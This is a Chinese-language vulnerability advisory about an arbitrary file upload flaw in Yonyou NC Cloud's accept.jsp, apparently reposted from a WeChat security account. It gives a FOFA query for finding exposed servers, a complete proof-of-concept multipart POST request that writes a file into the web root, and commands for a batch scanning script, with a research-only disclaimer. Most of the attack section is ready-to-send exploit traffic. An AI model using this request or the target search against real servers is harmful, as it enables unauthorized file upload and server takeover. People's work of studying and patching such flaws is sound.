一、漏洞描述
NC Cloud是用友推出的大型企业数字化平台。 用友网络科技股份有限公司NC Cloud存在任意文件上传漏洞，攻击者可利用该漏洞获取服务器控制权。
二、网络空间搜索引擎查询
fofa查询
icon_hash="1085941792"
三、漏洞复现
POC
POST/aim/equipmap/accept.jspHTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 324Content-Type: multipart/form-data; boundary=ac1485f11aa5441defff4ab45b7fb177--ac1485f11aa5441defff4ab45b7fb177Content-Disposition: form-data; name="upload"; filename="check.txt"Content-Type: text/plainThereisa vulnerabilityinthiswebsite--ac1485f11aa5441defff4ab45b7fb177Content-Disposition: form-data; name="fname"webappsnc_webcheck.txt--ac1485f11aa5441defff4ab45b7fb177--
上传成功，返回如下：
访问
http://ip:port/check.txt查看上传内容
四、漏洞检测
单个检测
python AcceptUpload.py -u url
批量检测
python AcceptUpload.py -f filename
原文始发于微信公众号（网络安全透视镜）：用友NC Cloud accept.jsp任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论